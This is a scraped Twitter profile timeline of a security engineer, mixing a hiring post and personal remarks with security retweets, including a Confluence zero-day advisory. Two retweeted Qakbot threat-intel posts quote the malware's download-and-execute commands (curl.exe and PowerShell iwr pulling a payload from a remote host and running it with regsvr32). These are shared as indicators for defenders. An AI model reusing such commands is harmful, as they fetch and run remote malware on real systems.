Scott (@hellor00t) header
Scott (@hellor00t) profile picture

Scott

@hellor00t

security stuff - bjj brown belt

 United States
Joined June 2015
  • Tweets2K
  • Following755
  • Followers523
177Media
Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)Photo by Scott (@hellor00t)
I’m hiring a Senior Security Engineer for my Threat Detections team at Amazon. Desired Locations are Austin, Arlington, Seattle but other Amazon Corporate office locations could be possible. The in-office time is flexible. Please DM me with any questions! amazon.jobs/en/jobs/2376886/…
7
1
25
5,043
The final ride for @cowboycerrone 👋 #UFC276
Image from SportsCenter (@SportsCenter)
44
729
43
7,274
Age limits for people in power seems smart
3,927
52,554
3,259
476,549
Replying to @MarcOverIP
Detection engineering - build / maintain / improve pipelines or systems to get logs into something that can be used for detection Threat Detection - use those logs to write (high signal) detections and probably respond
3
1
12
Last night my gym was destroyed very likely by an ex-member who was kicked out for some VERY poor behavior. It’s a shame doing the right thing has consequences. I hope justice finds this dude quick.
Image from Scott (@hellor00t)
Image from Scott (@hellor00t)
2
1
1
So...I've just realeased the most redicious project I think I've ever made... Security Information and Event Monitoring experience (SIEM) in Minecraft, with the ability to respond to and kill malicious processes [1/4] github.com/pathtofile/siemcr…
GitHub - pathtofile/siemcraft: Security Information and Event Management in Minecraft

GitHub - pathtofile/siemcraft: Security Information and Event Management in Minecraft

Security Information and Event Management in Minecraft - pathtofile/siemcraft

github.com
10
38
8
162
#Qakbot - obama188 - .html > .zip > .lnk > .dll HTML smuggling again no .img MD C:\ProgramData\Pterds curl.exe -o C:\ProgramData\Pterds\HErtop.pos 185.141.26.]251/%random%.dat regsvr32 C:\ProgramData\Pterds\HErtop.pos bazaar.abuse.ch/sample/5e973… IOC's github.com/pr0xylife/Qakbot/…
Image from proxylife (@pr0xylife)
Image from proxylife (@pr0xylife)
2
28
59
Today was a good day.
Image from Scott (@hellor00t)
13
1
121
We just posted about an unauthenticated RCE that works on all current version of Atlassian Confluence. There is no patch or work around available at this time. This is 10/10 on the badness scale. Get your servers off the internet now! We have seen active exploitation. #dfir
Volexity (@Volexity) profile pictureVolexity
@Volexity2 Jun 2022
.@Volexity discovers zero-day exploit impacting all current versions of Atlassian Confluence Server and Data Center. Attackers deploy in-memory Java implant to evade detection. Read more in our latest blog post: volexity.com/blog/2022/06/02… #DFIR #ThreatIntel #InfoSec
Zero-Day Exploitation of Atlassian Confluence

Zero-Day Exploitation of Atlassian Confluence

UPDATE: On June 3, 2022, Atlassian updated its security advisory with new information regarding a fix for Confluence Server and Data Center to address CVE-2022-26134. Users are encouraged to update...

volexity.com
6
193
10
433
So… never? What the.
No Lie with Brian Tyler Cohen (@NoLieWithBTC) profile pictureNo Lie with Brian Tyler Cohen
@NoLieWithBTC1 Jun 2022
NEW: A CNN reporter just confronted the Uvalde School District Police Chief to ask why they are refusing to cooperate with the investigation into their response— the police chief said they will only explain themselves to the parents once “the families quit grieving.”
Burning through all my Spotify playlists was not something I had considered when switching to remote work. Anyone have any favorite Spotify playlists? I enjoy just about every music genre. #remoteworking
4
Dashboards are an overrated analyst benefit. Data ingest, normalization, availability and orchestration/automation are far more important. Focusing on the data will allow analysts to make higher quality assessments, faster.
1
#Qakbot - AA - url > .zip > .lnk > .ps > .dll powershell.exe iwr hxxps://green-a-thon.com/LosZkUvr/B.png -OutFile $env:TEMP\file172.dll;Start-Process regsvr32 $env:TEMP\file172.dll bazaar.abuse.ch/sample/7b265… IOC's github.com/pr0xylife/Qakbot/…
Image from proxylife (@pr0xylife)
2
28
1
73
I'm excited to announce I'll be joining the flock for my @DoDSkillBridge transition at @RedCanary!
Image from Scott (@hellor00t)
4
24
It may not be a big vuln but its still pretty cool to see my name listed on the CISA site as a researcher. ICSA-22-111-02 is an SSRF in Johnson Controls SCT Pro Software | Official CISA post: cisa.gov/uscert/ics/advisori… | Blog: scottyrotten.com/writeups/ic…
1
1
5
Special thanks to @un4gi_io, especially for pushing it through the LOOONG vuln disclosure process.
I have a lot of respect for this, and know many parents can relate.
Sean Murray (@NoMansSky) profile pictureSean Murray
@NoMansSky27 Jan 2022
Replying to @NoMansSky
A secret shame of ours is that the success of No Man’s Sky left our first game Joe Danger unloved. Sadly since iOS culled older games it no longer worked on latest Apple devices 😭 This mail broke our hearts and made us want to set things right 💔
Image from Sean Murray (@NoMansSky)
Image from Sean Murray (@NoMansSky)
Image from Sean Murray (@NoMansSky)
2
5
1
45
Evening y'all! Small update to #feroxbuster: can now add scans from the interactive menu, in addition to cancelling them. Also, added an original_url field to the json output. Docs/demo of the new menu: epi052.github.io/feroxbuster…
2
3
🪵🐚🐚🐚🐚 - testing bypasses ignore this tweet.
CORS exists to restrict and prevent loading resources from “bad” places but there exists tons of other mechanisms to bypass this security feature and it’s labeled as “intended”. INFURIATING.
Load more